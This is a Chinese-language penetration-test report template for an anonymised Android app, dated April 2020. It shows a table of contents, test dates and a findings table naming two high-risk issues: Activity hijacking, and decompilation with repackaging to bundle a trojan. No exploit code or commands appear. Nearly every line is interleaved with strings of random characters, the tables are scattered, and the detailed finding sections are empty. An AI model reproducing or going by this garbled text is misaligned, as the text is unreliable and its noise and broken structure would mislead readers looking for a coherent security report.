) ]1 S9 D, `" Y# r$ O5 Y
9 D& G! v( E! c2 @1 b8 W
, W! M8 Y$ `* b
' F1 i( X: \ I* \9 i4 V/ K
4 _" c& t& F. ]
% H8 C' Y6 o# ?# h
1 i7 H: r$ o! Z' Z" c" R; B. X! Y5 a" O5 a& j
" l' F$ _1 s" f5 x
- s5 d8 I% T/ Q" o8 @- c 6 C1 I4 r) c7 d1 S5 @+ f
& J* j$ O# q% B- @. F6 ^% j 文档编号: 7 |! K2 h7 R/ V. N; y" s
. D' j4 g7 M* ~
" q) w) v- B, X* ?' }+ j2 U1 H
0 v* n; ]* a9 m. w ) j0 b: n, A! E; O2 H
8 N9 j9 E/ d4 o- S2 I# G8 N
6 N4 Q5 X+ \5 W# \# ]
! |# l1 |3 G: |8 s! R: n" a
* O6 } z3 k3 g2 ?% ?8 `( J+ u8 Y( t. I$ f% H$ n
) @1 H% W" f1 h, S/ @% }# H- q8 F& _" ]* U0 o0 X+ g
, n; W# L0 L. E% t* i6 E2 S
; y! V. k7 j8 [ ^6 I
# H) s) [2 K. ?: l8 o% a' ~ Z, q6 T" p+ H& {
) Q8 Q; Z! T( U4 ?6 O; C0 @1 I+ e8 W3 w- f) ]* I
& Y9 C% `4 O1 o$ M5 U$ x/ W- c {& n9 _% ~/ h. F" y+ o: W# ]
) I$ l! L. P. n4 Y
) a3 C. s6 N4 q4 `: t
& C; T: C2 f8 i3 ~9 a7 q
4 d! ^# w- f% S/ T* t+ R& K1 t 0 S1 x3 Q9 n# q _6 a
# V. a$ `1 O& w3 e3 e4 |' o
% P. }" |; s; _, |) r' Q: A {
/ h. ^4 M+ j, L' ~" C' D7 T( x
5 b) ?2 f% \. y/ N
* r5 I3 o) ]9 u0 y/ y
: j& k4 _5 { O+ n, ~5 C- U. h
8 H$ a1 H# ` O. i: y/ z
4 R& g4 o; H. q2 F' }' U' r
0 @: n% `8 X4 a5 W) i" N y* K 5 M" @- @5 Y, p
, t( _! `" B7 P& B$ }5 S 某某某APP渗透测试 0 x3 K( a, a C, D2 C- z
) T+ V H1 N! Y+ z
% V4 |8 _; i4 K0 m1 w$ P( i# M2 L m7 \3 V S+ F- R, f
Q3 o; }/ p6 W( b" M
3 j @$ Q" n4 J- T
( W, x- |; n0 H; s6 c F4 t
: o! ?; ^2 E. b1 t( O8 ^
7 A+ w2 G2 D0 e$ [
( R- @& ? Y( k) c5 B 2 K# l4 E; T2 `4 \3 x0 w5 x$ h
, z6 {/ y P9 ^9 L; ^ $ T/ |2 r$ ^% w, O% \ \0 Z' ]
0 E6 o4 n+ X' h N# o+ M
. ^! ~2 d6 i7 D1 J7 D' A& N Q
! ~0 X6 ~1 ?. G) R) o& ]
7 v) y& P% l$ P6 c. ^( R6 E) _$ x
; b( f1 q# c8 y' y * G, j7 B6 m! m9 ~' @
4 r. ^* u2 w. z, o% W& ~3 Y9 ]
) u+ o8 @- l# ]+ I0 O3 U& e
6 {3 O% X( \! w- \4 ]. d
' l/ m, m- E1 }7 W, M. i! Z$ s! W: o7 [# \5 O5 o9 S$ w y* s
) d1 r3 @+ i# I5 Z$ L' a5 L
5 K. y9 q# _: o, Y4 q
9 u2 e# P7 s* h1 w. U2 {3 j; s- Q+ k2 C& B
$ H8 y8 k6 S5 k2 s, Z6 Q# t6 N
6 B) [) m* `. `( ^6 y" r9 b& M. J
技 术 报 告 5 ^' X7 L+ i5 |. I- x% o( P5 i
" W% J* P0 W: a9 u; S- k
0 @, r6 m: D( s( B* G" |
% Z7 w0 l3 k. e# I5 T4 E, e* Q 0 b) C: z$ F+ D6 I7 F+ D7 F; Y
+ c) \8 N: E& h2 S: |+ w 0 u6 d& ^2 {& v6 G: w
2 N+ P' U) R; M8 V- w! d6 ]
! T) \, c& b# X) P% [" q. U4 H4 L
' J6 Z M V1 K! w5 [+ x2 a / `) Q. J8 y0 [: Y2 k
, i4 g/ P3 w [1 O- @. q5 F Q G
6 F( u( h* |- x
" V s/ u' Q1 z- o- U5 M* l
8 S, Q$ I6 {7 r% a+ J: g0 [4 E+ n* B$ G; R' v9 m1 T* Z" m' K
+ X4 d4 y% O2 }+ y3 b4 v* y0 M+ u* \
$ W! A: p# Q: H8 y( ^
2 V( Q1 ]/ |, ?, i) z+ G: c' e0 E
* @! `; |! o3 M6 y8 q9 p
3 ~, O8 M- }& r, v. m! X ( s7 z1 b8 ~2 ], \
, A% v3 ~; V+ y, X& Y: X* k/ A
5 f% v8 ^; h* }& d8 J8 ?2 Q) k; b3 O% y5 r3 j3 H3 o3 W
3 p+ s" {2 [4 {% U1 q8 B( K
+ @1 r! T; L, C% c- U9 f
; F' E; \7 P/ [1 {+ c: w
# e z9 y+ [; }1 Z; p0 \
$ {& Z1 u* \& \ r) S) k( B' ~# u/ }! N% h& D% N" _' ]1 _; A/ I
3 k! I% O5 j6 K$ @9 [) _
4 F& I% b0 Z7 J) E
) I, [7 y4 {. b2 y! ?
. K/ q; z& O0 \, g9 k' q. i6 d R9 Y
% A) ^( s8 ]0 T, g: ?( s
" @4 G; q0 }4 x& A( i. @8 V
* N( } [& i+ B
1 `4 P9 q; D7 k4 W, X; }8 E A5 V! ?/ f; x5 ~% I* \; Z7 s
+ m% T9 v/ s, x$ y
* U- R- b1 O% y. J4 p+ E& F6 H- D+ p
; q1 v; e1 |3 _/ d( v
: `$ p; K1 _7 ^ % ]& `7 U! L% z; N' ~# u. X
! c+ [, J2 e( u2 _9 r" Q# C2 u1 K
, q' d8 p- T- j* g1 a: i
% R' U0 W4 R- D, P. ]% V8 l: n- |
4 x8 P' M! ]. t: U2 C6 a: ^
3 s: F/ h# m' {' I
9 [' {0 P3 Y3 I! a& w+ a* y: ^& B1 U/ o. \8 {+ \! `
9 ?& N. z9 o: ^% X$ t' d8 Y* m E/ y; I' j+ b* a% p4 O
- l. [) K9 U. A% x' t( K2 j
7 G. N* Y1 c1 h& ?: o" Y4 ~: W: O! A
; V" ]% o" n; H w, ^6 c
7 g$ z, j6 q, R9 V) t7 f $ W% W: T2 F" l. \
* S# K! [4 t( v% X2 H
- C4 R; `8 B5 @& \( H
7 b' U: o7 B+ i) ]8 N+ {
' J* N1 x( _# f
- m' s0 ?; A: ~. n9 A3 J 0 c! M! R: u& U5 E5 o" F6 a* O
/ U/ k6 a; c: j6 o$ Y6 ?
0 O) s3 K. x6 ]+ R4 P
" x' T% D9 r5 a9 Y' p
# P2 ]1 E& L+ T' V, D* d" ]% w3 A2 M
. }/ z" g* V7 V7 @ 6 P7 t. V- R" V# n1 k3 z. F
. i0 R( k) |% h5 h8 r
- Q8 ?# b6 o/ n% E- Y {5 ` t' Q
" F9 q* m3 h1 \
7 H( n+ l6 l5 K" e. y; g- Z" L; P% K
9 B# o. T% D9 P" X4 l, `$ K1 H8 p4 g! c( H" M( l5 Y
' Q, m4 p. R* S( x6 d0 I# x
% b6 K' X+ A3 L
6 f% X) j; {# h+ K) c2 \ ~
' I; X& f/ P' H 3 A8 Z2 p' B. }0 M$ K7 l
% t4 z% k! A1 Z
. P: W! B/ Z/ [) m" d1 p
. H% P4 i) `8 M) h9 {
% j" Q7 \ ^9 Y
5 k9 Q" t6 }; ~0 I
/ ?% u. z/ x ~9 U5 W! Y
- p7 N: U# S& o) u7 D3 y# v! H
. Z5 Y5 G R/ U% {/ z+ L9 `- X. T
; q5 Q6 f( e8 s0 h5 \
, _' x: d7 Z- f- O p" x) ?
$ T% ]. e) z% F
% l' N4 W/ Y6 p: u2 A& D
) T8 h1 D1 G' u1 F9 w
q( A8 e% W9 w! [, {9 Y6 z+ L3 A: `& |1 m
" b9 |9 U, r2 N- l2 s$ D5 [* _6 \# w* ~: v; A4 x5 q
) D1 c R5 Z: g. R# S
& w5 j" x/ t6 {% L
0 P( n: Q, Z, }6 O7 e: H. }
# N& ?0 p7 C1 M, I6 d$ U3 E) O
. w6 i9 p- }" c* {% r6 A Y! G8 S/ l9 A. v1 T9 s3 I
5 Q( O) l; O& F9 F
/ t: P, O* @- U3 c
) R7 i) A6 U: U- J' G
$ b2 m* K- U3 s. K7 G 3 i$ H$ D, [, j; B) J; a0 I
; f0 X( r3 X) `" c 二〇二〇年 $ v$ z% n. I( P8 \6 v8 }; j8 c3 a ^
1 m) p# x0 s5 `4 l8 Q
- E) _9 l# j/ z$ c& U4 V
1 R: ?0 p6 m1 ]6 H* V! U
+ ^; }" _% N4 l5 A. b( H2 ~' p) v
) R% ~- ^( `( e: s) Z8 n
3 c' L3 d% q3 ^+ @6 \8 c/ E2 y1 Z8 p# B7 ]4 V
, t* F: n; S6 W/ A3 @
4 [/ v5 c. D. A7 G, ?) @9 {
' o7 q2 i9 ^5 G* q3 S! x5 c6 ~
4 \5 c$ V2 h5 _* z& r% o
& |3 K0 m9 j# M' D% U
1 ^* ?- H$ T! ^/ t, W1 f
, x9 o" Q3 F3 Y, d' C0 q8 \1 [* {/ M
4 T9 h3 v7 A8 ?& b
% G; r. p. j) [# p% p- E
9 x" J6 r) o+ [
: t- u2 |, `# L' h) O+ O) f 1 K; F3 s9 e; O1 [5 V
- Y7 T. A% a5 q+ ~! Y$ i: g9 q 目 录
1 ?, u; m& o# s8 [$ a6 b8 ^8 Q+ m. ~0 }: d5 s& c
) N% V8 r- A0 K: Q4 j' D- G; V c' I' g8 ?; {9 Z3 u- J3 n
, s! g$ g9 j& [
$ ^- y Y7 F% U
# Z' w& S4 S8 x4 Q2 K! O1 D$ g0 X. _
" `6 j8 f2 t0 Z% Y2 O4 D0 {9 ^- d' U3 B 4 J: Z3 ^0 ]7 e! I! T; z8 i
1 c3 t+ m/ U' p3 |2 k
. ~( L$ o& V0 t h$ ]3 [4 D' U E3 U# g
/ U7 U! p( q; P9 b0 h: F! g
. m, n$ i. d. t, Q
1 概述... 3
) A, @: Q- S5 F
" @' r! H/ `- N& S8 [* R
/ n0 @4 m$ Y" }# _ I
4 _- |3 C8 Q# o2 {9 e
" d" f% `2 O. R4 ?6 C' F# b- l
G6 c. M' \2 h- {& Q- m9 J 1.2测试时间... 3 3 L/ }4 ^8 m2 U" z% T! K
3 u: h6 S' a" c( T1 A
0 A& T$ ]9 L# p9 N6 a$ V6 p" _- y6 P% ^
5 |6 U$ c2 l: z7 E; Y: j
' d$ e) U1 N; y2 A 1.3测试对象... 3 [$ Z% L* c: Q( O. N o
! S$ v. F- o1 f
( J: T. M8 { V5 k2 K+ q3 _/ B2 f+ T5 W* {
' v' Z$ S+ d. S6 D
- d' z& A# ^6 U4 ^1 v- a 1.4测试结果... 3 0 R* [. n3 z3 w( `2 y1 J
& Y: K, g: w' o8 v, c! W
* Q6 p( Y; j7 `9 v5 v7 S
$ x8 J7 Q8 C& z$ j& m( e9 I+ t, Y, E& n / A+ s6 Z9 C; w
& f. s7 ^8 s; D: o, z/ v
2 检测结果... 4 - ~7 |; \+ v! N) j7 L& f
' v/ u4 A4 ]. P
! w, `0 x3 v9 d% |! v
; y# N/ M' R3 A& n 7 ~# r9 ~0 u. b- E' E& h& Q
5 C0 s3 M2 X2 m0 G* B4 j3 G$ z6 o) D
2.1 某某某... 4
! T+ T$ L7 ]& h4 s" t6 T0 h, O: L% L- X) ? B& q7 a0 Y2 C7 w
; N4 n5 \: t, C3 ~$ `
" P+ E5 A/ g" H, J
3 K9 y" ~7 O- X" E, Y3 f
0 S1 k! j( e7 q2 U3 T: U 2.1.1检测目标... 4 ; Y; S! T1 z. H) B5 ]
. r+ I8 [% @9 S$ T, Q/ B
5 j3 [0 @ L6 [! i' p
# `4 [( t3 R% \, z) Z+ o* F
9 b1 v( H) D6 P9 h5 Q" x
. A5 ]0 T2 B7 @( s3 e3 U7 V' \3 X7 v
2.1.2检测结果... 4
8 S6 e$ c B+ Y8 b4 \' I6 P1 L7 X4 X d1 Y( v
$ l& U$ G1 n8 r) c x% c/ U1 v N& [- [8 D/ I. x1 K3 Q% Q. q
! n: W# Q; \% |$ e
" ^+ O, b6 Y; N+ A* a3 Z0 k7 |# g 2.1.2.1. 4 ) w j) x# i; \
" I" O% o1 a- z7 I4 d
6 b! W# L+ q" P
9 T3 e' M2 v3 ~
5 ^8 J8 j9 Q, K% y! T* k
; Z& F8 _0 @" W5 |, q 2.1.2.2. 6
! L" I# B$ F9 n3 N' R- N5 N# ` ?& h8 z$ b" k$ O& U
9 I ]" g: b$ {; g X$ {; p; B; c$ P! [
4 K# _( x, Z8 g) R
- ^- o1 E X: D/ g! |% f5 M# n+ q5 l/ X
0 i& u2 a, `* ?& z: z- E" P( s; Z
# t0 d @+ |1 q: O8 [ ^& n
+ \5 V) D. q; V+ j
* R: x0 p& Q; Q4 Z8 f( U2 h7 ~# s6 K8 p4 @: W y
1 G1 E o1 w! u* Y( R* p" k5 L3 y) x
# r0 u2 ~5 }2 b. r
5 z1 L( E/ W/ M. z
" p: u7 o/ f8 D; ~5 i7 C& n6 ?4 `4 J# H8 J$ M* B" U$ t- q4 D0 r
" t0 H0 c7 @% j
* ]8 Z. V' j# y( q2 w 2 B4 h' z* C% T o2 P* D
/ p3 X: p: ?1 k; y; V% \ 1 概述 4 h3 |: M8 H! z# v( O2 s
( B Y- J( [3 N" B6 \$ L5 H4 f
3 v- @1 y+ L, ~; L: @1 ^
1 T5 L, |( ?/ w
8 k8 m, S2 \( ~) l- [# V
; P; e6 z9 ?) P 1.2测试时间 % K) A; B8 e0 k0 L4 L1 ]$ k; e0 v
1 S0 {4 |" _0 c$ K
0 N9 \. x* i. F8 W
0 @' X4 s P/ j" E6 r
' b5 Y+ h$ N2 M1 F
9 y7 n. y" b) Y$ f4 j# x! X8 L . f- L K/ e5 q* Q' }
K* \0 C/ S$ O9 J3 h
* Y6 P+ J# e. x; L9 k9 T+ A, b$ d, y9 t1 A
|
/ ^0 M* G0 U% `% w+ H8 }% W
6 t% l' R+ j3 ?! k" r2 p: i
R1 Q7 J2 C/ U7 X6 M) j
2 t w5 E( A% b6 |3 K4 g B/ ` 渗透测试时间 ; ~( u9 X, a3 z- J# C! h- D
: T& R$ h1 g, v& L7 H% d& G
' \, }/ {& u$ }2 q9 J7 |
& p C4 [2 e, C- w& [
|
1 ]7 y8 U' x/ q/ u1 B: [7 F
W# U8 H( H; F
4 U! O1 U& z# q
# n, o6 O5 r; k- S# D8 `1 F
4 ]* q( V; O7 y* |) C1 l
& k9 v4 M: K4 N" d" _ | , L2 ^- L! S% M+ T6 `2 E% Q- X6 E
- W3 x1 p7 U0 `, z
8 |# I* O. v) a- E, o y
+ {5 e& |! P: z8 H5 J& \ 起始时间
6 i2 H! X+ E6 r6 ~8 h' \
+ H) ?/ g: P7 D/ r# O G
! z# ^' r: W) ?$ r
! c+ h' _7 s2 ~3 G, ?. s |
8 s# F: u) _( s$ @8 G9 m- T" E! O1 M' }" B& ?- g* T6 A' y
2 T6 [: U. p- }5 b6 {& k, L
. I6 _: z2 e; P$ E% W
6 U/ Y N9 s5 y8 S3 S/ i' Y: a- k7 ] Y4 v6 D9 C: t) D f
2020年4月6日 ' i5 F; q5 @& B/ v% m4 j- U" t
1 v( d# O( K F; j& Y( ]3 D1 f8 U% Y
! I- X4 m: q0 ?5 w8 e( p/ K) T& e7 Q9 L7 ?% S: X5 B5 w* b
| ' f/ q* ~8 U/ S" S( H3 D
+ S6 D$ s2 C! p1 }9 b% d& _: P
: u( D" m6 O/ I+ i) `; i
! z `) f/ u7 u# d, P- \* J
. ?3 U9 N) W G2 m1 k6 c- M; f, ] {+ b6 p, ^8 x
|
6 D( ?" C1 x- o: X
8 L/ E( h% d8 q
, C I1 @7 d- H& P3 @; g1 @
x" a8 r+ H7 R5 A* L 结束时间
6 N( _/ D* R4 g8 m; F; k w5 J- V/ j% m7 c
& }4 Y+ H; T4 |& r! m; o9 B! V* q
3 f* M: Q: a4 E% `1 `9 p; `7 Y; y+ ^
|
& z8 q" M# z* o, x! I% ?
6 F4 M0 u G& y) ^ + [! S0 ], b/ q+ o+ b( u9 V) V
- K7 J& ^3 g3 l* y* r; `8 t
& L, b, j5 M9 ~# u% y% p
4 k* k [) e% {9 T0 S D
2020年4月9日
0 z$ w# E3 D/ [% E
9 q9 }* j. P* J3 K ' y/ ^5 `( R- o
: w8 S+ L! `$ `1 S4 G: P |
' \9 n5 _- J' r' E# P) p( }
# K' a# i0 U* x
9 g2 h; s, H& |
9 P1 q% ~% p; r x) x- Q& j( O2 d( M
! H/ M8 }/ P L# @9 @; E1 ?
+ @1 ^9 T) t7 J+ x& M
1 U/ P8 `# P% e6 y8 r
) w9 W2 k! Q8 a# c- c4 @- m" ~. B6 V/ J6 w1 i- _
1.3测试对象 4 }) z3 o- E1 c; H
3 I. Z L @, w& F% L$ C( ^
+ b5 o1 |0 u% b. S
0 g( B! l# Z; n9 ~1 v% [- w
7 h* _ I: K8 K6 {& z* B4 E v
+ i- E+ W9 w* ~- C6 ^ 此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示: 2 u) I- O3 a+ G
! N S7 }& P# L
" l( H. G- `. y8 l$ `; e( d8 r5 O8 v; e+ ~# V. L; Y
k6 W' m0 q7 ?' C% V4 ~* t _! \/ f+ W& i5 r5 @/ o
表1-1 检测对象
7 d5 y8 l7 E J. n
2 W5 w+ p" ?- x$ R0 x/ N
; q) I$ p! U) g
/ H3 o! e q% g$ X8 {
& S: ~1 F2 p6 l; f
/ P& q+ ]/ N+ z
4 q! f" @$ a8 z& a4 ?3 q+ K# A8 K$ g; F; h G4 y7 t
% I0 r4 h) g! R
. N8 c7 M/ {: c! _ |
1 e/ d K$ C1 f0 d9 v/ |2 f- F/ v. q
* v3 s7 m1 X6 w% t
% G) Y& Z" b9 N% _- r/ z, a' v$ v5 Y9 S
序号 % r8 y3 D+ o; S" s, n
* ~4 s/ o7 V8 i+ J- }, L
/ o7 E& a# \8 J8 i: @# c7 i+ w3 h% M/ [
|
4 N$ e9 ^, r+ P& M4 E% B
+ H7 [; |4 L$ x1 r
0 V+ T7 _+ }% k8 x& ]
: h8 W7 h7 |+ C9 g# E/ |4 R
q9 t9 D4 }' @% w) k6 E2 w
$ i* ?6 E4 o1 T# P9 x; } 测试对象 |3 E7 R* ]0 `: r2 o7 i" n
: b* [) w* D% J& \! @7 V 1 {6 P) x: E( R( S
( z _& B4 ^4 E* k# ^, X | 2 L2 U2 e. f+ P( D
% Z0 Y! }8 _ U4 r; p; }2 K
+ ~" d, d+ i" K6 v! o
3 M9 Y+ C- H7 ^4 l! ` 8 ]/ f' g) ]0 }) P) _. K
/ |3 B' \, T) Q7 q$ n& \# Z
测试地址
7 o6 T6 Q. z& V7 V* T$ Z6 G
1 E$ i) Y4 i' V4 @
! f; [" l6 r. r7 n) @. r+ f
* [) }; f; ^9 C9 ~2 J/ f- l |
* w. U0 ` V. f/ G8 \& J# Y1 s+ D( H, p, k$ b! j& g" v# A8 }
* _7 ~# |) L8 g7 Y
+ E/ i- P) y [+ s
- }' L1 F% _* [$ G4 M, I+ B/ y0 l, ]" M
安全漏洞 ) c' \$ s: F2 u% x- j" j. y5 d& k1 \
' t4 U1 |1 H2 U* R: K # r' f4 M! [0 E( p! R- {
5 V) V/ \% b. ?! `0 e4 I& E | ) w3 }" E: ~8 F* ]7 O4 ^9 H
2 H% e! ~+ h8 q0 B* X
* K: {8 W% ^- x! Q. H8 T: V4 i8 Y ]; Y) p4 y T- J$ t
/ ]6 a* ^" Q1 _, u. y6 M, v7 i4 J# |3 [8 T8 ]6 e, I
|
; [$ E S5 B4 l+ W1 c5 m6 t; n& S9 R' x4 P: r# J/ M
! D6 D# `* w& K3 Q% w6 I/ l4 o, e3 R# y- d. H
1 ; n/ W* N# v$ o5 g! R) e$ E
1 ~3 z8 }; {; p' d; m0 W# Y8 z& w$ [
. O% x4 @% N. I- E4 U1 J
6 @2 S0 P0 q. g3 U3 c | " [6 k$ X+ j" j X( H2 A' u% i
# v# r) ~8 N+ J, T( I5 G& N
2 u" M# f$ m/ ~) T) k0 d1 ~# S
) ]2 Z/ e/ L8 t , i$ G: W5 m' Y/ P1 k% Q
1 t3 a8 A `1 K: e 某某某安卓APP 9 b5 w% c( H% o$ a: i
9 u2 \( h$ `2 R5 E5 h
5 Z5 ~: {. r$ I$ V0 p) O5 T7 J
5 W$ ^% @8 e7 R( _4 n | m$ }+ p- V6 T
% Z! D; F4 _: U1 m: J, }* s4 ]
1 M7 |- t1 N. F( _1 C9 s- m' }) m
2 X7 F# L9 S$ W4 o& Y! i + Z6 [/ w' M, I6 I% b' R& g
6 A; |# I- {$ F8 M# j6 I% O + P2 p `/ o/ ~2 [
7 ~) u6 Y/ U/ g2 j 7 C9 W' d* K! a% h& x5 F( W
2 |- b8 R" P |+ w8 W
|
) Z8 K" q/ M+ Q* F& @
1 _1 [& \: Q; d - x$ w, R& Y, m$ W9 \) B- M
% l0 v- q# @5 e5 ~. B 4 c( ]! k5 U. Z
9 F+ d# g4 B& W" } 2 9 d! R( D, p) h1 {* s4 Y
$ g, L6 d* q- r$ }) W7 k 8 Y: Z/ }! _ @/ l* ~
- ^7 D; g7 [! ]! g, Z$ J
| V) I# W5 N0 \7 o
) m. o, G1 ~: B% z2 R
6 B' W% U! }4 ^ u& x* V' x* T7 F- ]" [0 {# t/ b
: G: N: W" u( D; ^
9 p- ]' b! Q: h- i
7 S! Q7 n: t$ a9 m; H
) Y9 L( N" d5 }7 @
: t) y$ f& N! g' P1 E1 N$ _" @' Y5 `& k$ n; }
1.4测试结果
( ?7 K0 T" l' c) Z" N' k5 a& J) r) a1 J! R+ ~
1 V2 `% D9 N& \' K
7 ?* Z5 C- \7 A" f1 D( ` 4 q5 {9 Y9 `. ] L: T
) s# I: Y" h) F5 E+ F7 R
在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示: : @2 |7 A2 O9 @9 K5 g: W
) J6 Z- N* `; }4 f; ?5 _2 y \
$ H, o# E7 F# \
# X4 V. {1 G, ?! [/ z- E
2 {% X, Z' j8 w& G+ |; R3 e
$ D* s, c" D5 y' l/ l
3 _+ j, `7 B, m3 L/ H) f* B7 ^. S4 o7 d% U- L
6 h) J, z- K/ `% u- @9 q& s) U O9 I; y4 X4 D
- E; s( ]- `. o* |+ p
2 d8 H1 H( s9 n9 B t; i& K. ?3 x
8 h4 j o1 j) C z. N3 \; r5 M6 Z
/ b E3 f3 e( M+ \. J, [5 Q, O
# T# b) A. [. C, S6 Y! ]
|$ h3 I' O* x : l& v2 A' Q" L' l* V2 }4 ~# A
5 B8 g, P+ T- C1 G% P, l% z+ c) k
| ) v, u& ?# j1 w) e
+ p4 J7 f# B* @& L8 T# |
! J' i: i' @: d# o2 [6 m
, Y, T7 \% r) Z1 N! j; @ 序号 7 j2 L& Y% [ L/ k3 q
" A; _; p" D5 K
1 ]" d: Z, V6 C% y1 ?
+ y+ f6 S8 S5 a& k8 B: v
| ( }% o+ D: r# b! E, i2 z
# Y; e. g4 \9 ?/ G3 i5 s / D, R& O/ C/ |& N/ I0 u
9 o( U( I) g7 O, b) N
8 H+ K* e$ i1 l$ \/ W
8 n7 D0 P' i- e) C, g- p
系统名称
' M2 e9 Y7 u7 d$ k# n
. F3 F4 r" V9 Q9 f' X V. N& o% J0 r0 O! |: g* p
" X/ B( C6 l& \& g! {5 Y( d |
+ [; R6 k* j! i5 ^7 _* a: ~0 ^* v/ j& p( L* L3 ~
! a5 C: D0 G1 h3 v6 c, D0 U2 h& n6 ^' _, A3 A {% Y$ [+ r
, [, n( |% |& m' Q( V
, d7 i+ O: j9 l2 X5 Y3 l' ~# R4 v
漏洞名称
% T6 P0 K: V8 `9 E4 I- }6 K
+ {1 y+ U, i' H) R7 z, q( g" |' |3 [ 9 t* k5 [4 [! ?8 U! Q8 H/ o0 Z
: |2 J# V$ b% w- g/ n& y | : H. ^: M0 o6 e! Z' g
6 }& x( V9 G& M$ U! q! o
9 c8 y$ K5 b- |1 x( i7 L
! J" E( d& c7 W V! H , f7 `) ?: V, F8 ^
! X3 `% \; r/ q2 v9 G- g: K1 q
漏洞危害 2 l% i7 t2 F% w+ u; g, k
* T" k* ^" N6 q5 ?( l Z0 y1 Z
0 k8 a* [9 ]3 i: m$ f6 G( P r" U9 |" S' l
7 z2 S9 C. A0 H8 h; R! o |
' y$ P# \7 m1 K* {; o- P7 X p1 M8 ]! N, c$ C2 Z9 c- ]5 L
7 i; Z) x5 a8 [( A- y
6 i/ e l) t4 Y" p1 T& _
# ]7 X3 j8 _( J/ Z( b/ q# W- G! J) p
修复结果 ; K5 J: i4 a8 }- D# T( `8 i
a0 u" e: N" h, I0 c6 G7 d* ?
' g* q0 \$ u* l7 v+ h
8 \ g. m* X+ P8 f |
1 R( S: s- N4 F7 t( n
8 K. @( F( O% R1 \8 U2 i% I6 K
[4 r7 Z3 p0 g$ ~ \
# L3 @/ f) K& G0 I% Q7 E$ U+ @
; _! x0 p* O' H5 B* L8 B
: v1 j n8 `: g" a6 ?
|
4 A! L2 z$ N* o t( b8 z' d- c7 h) j) Q
5 l6 p4 u' ~" H6 H# ~; B* `6 G) p( b" _, Q% T+ e2 N! |
1
+ N E9 n- h% w2 ^1 e1 ^2 y. q
; e( H: G( e, Y . Q& {. P0 k) f8 v8 S+ S* Y
9 C9 U u, ]8 X" i/ @: {
| 4 I9 R2 e) J. }6 F( E/ v
2 h/ ]: u2 }- F( ~- Y+ Y2 b' L u
: A2 e5 @1 `* ]% k9 e7 ]
& d& y$ Y& R A# c, s! y: e ( |3 j3 E8 |5 I# v9 ?0 d
! h2 m L4 b6 L+ A6 Z 某某某某某某APP - q/ {! U2 s% ]7 F( O/ E: s
/ d) m- S! ?* j) [; `# G- Y8 u
6 }& b) G0 n/ S; j6 j
^% m2 v4 N# g; P: X5 L
|
- K; B6 _7 w- Z$ Y/ H j" Q& v: U9 n
. i5 L8 s+ {( S( K0 J- _# r& m" ?0 [- B0 i+ D, S1 L" k! i
) _) F* [* H6 _6 l3 Y }
2 D2 M' @7 {$ |5 F: Y& t Activity 劫持
u3 a2 c2 m7 x3 d" `2 Q" s# e4 s8 H% P* b" A
4 |8 q: j, c) x& J( _
- {3 F( @( ]$ A+ a% V) L: z
, M4 G5 \- W; v1 q/ }% s# X5 B+ J/ O& a! B1 u4 }
( s8 e2 U4 }7 u* m7 y5 H! c. T; m, S! L
' L' j. u3 m1 W& H5 ]4 Y* k
1 k9 E" ~- W5 ?/ [, Q" `9 O
|
4 H3 n$ `& @* C1 p; C3 F P+ B& W, t) ~7 T4 d
) B4 D- f. V0 Y0 ]4 b
/ T$ P4 F7 n: C+ t% \* Z: X
: u5 J9 z/ W: \5 ?+ |* Y- o
# v/ M r* g. @1 ]2 |: q( m
高 % g: e3 T( h2 W( `# c6 g
* ^ R0 o" c( ^* X$ a
8 c: p1 B$ d! I% _0 P7 j
$ x+ f F4 _( \7 `! t% x( ^7 v | : }7 d9 {( ]) q0 s/ Y
0 T; i1 m+ I; d F7 U
: F, y0 f1 Q B$ D# R
- r) z; z' X: }" ]( j) c % \, O0 K: r" q) C2 v. R
# g2 L2 K" b( K4 Q% E6 L8 o& z & o# z& c U; T. e
- ~2 e" S( m: v, j & s! Q+ b* d' d( ~& P5 }! ^
( r* J# ~/ {* V7 k% v3 j% R: S Z
|
- b" Z- p# N' Q( w, s" d; V# O: ?* z9 a2 V( S
7 `( D+ _# O$ L. T& [ t; S4 |' t; }. w5 m
" K- u) g- R7 _( v
: Z. Z! P1 h: m5 w: C | # j+ p6 E: O2 h. c
- @9 c( Z& j- w: j: F
7 @2 Z5 `8 P+ @: a0 B7 P0 G- k/ _& M k: {
2
* ~9 _- s; v2 V# }2 t8 O* V) d5 a' a# |# A* m H' k; x) w
, g2 p$ Z6 a7 F8 O5 j! v3 i3 p
( x7 z9 q# e! ?1 b8 P6 c4 r* |
| 5 `! m; k% ]% a
9 U% a# Q% m8 g* ~6 f% S7 U) s. I % J0 ~6 m4 j7 {7 m$ ]# q
( i# t5 R. g% {5 N5 s
- D% b1 c/ v/ K9 M9 \# V
+ C; d; C: c1 s9 g/ ?/ T! g 某某某某某某APP
3 f: g' ~/ \! G
. Y- {3 E4 |3 T7 ^" e
! E# M/ D! V! U2 d( h/ c6 Y* Y- N
|
( O. G( T# F# H
! z. p4 U& h. e2 O* ~) g+ e# b) @6 T ]! _/ E; u" E" X: J- t/ ?( @4 i1 y( r
% ~8 Z4 w* ]0 F+ K# ~
' ?! h. A# O) j. D/ S3 G* T
9 c/ y3 k3 L$ w" Y! i$ K 反编译二次打包捆绑木马、篡改APP代码 " ?$ b/ n1 ?, F G q
, H& @: {" V3 a% [+ y) a' K8 Q7 e ' U: P- c6 Q5 j9 x7 L8 S) _1 m" q
: w! s# g' m' I | / J" m( V; }0 T5 Y- A
& t l6 g/ p9 u% l# Q
9 P: ^9 u: W) L1 P3 L
m: L8 a/ i4 g" ? 5 K1 j* S+ o9 Z! N+ c' A
) m5 W. ?3 `3 u& W: u) a6 P 高
; i7 }# [( |& Y, e' g3 V! G2 _* D( u M
& G8 L8 |5 e2 T- f, U) E5 k& I* c
: o$ u2 l ?5 [+ ^
|
% T$ `1 c, }- G2 n. W4 f2 }7 g3 _0 I4 D0 ^
& J: q! S ~6 H
& i9 N1 [- @9 ]3 Y, I
' V G( ~) H" H# P& r" w6 T( E X
* H: C$ N7 Z3 ?& r , y* t0 r' G. ^6 X: d: {
o7 @, S8 {4 |! h
# W- W m1 H, c. ^/ F4 H
. p6 F- g. N" t+ v0 D& o+ {
| $ D+ ^& \4 u# `; m( L
% L6 f- |6 g0 K# m6 O q
$ y$ N; L# k' ]5 d# s# E. D: o
3 g/ L; C+ v& w4 L. X! G
+ T! C5 e$ W1 m9 `: a) Q
, V/ I/ g, l: W# F( w
$ x7 N" R+ c8 V! k7 `$ r9 y
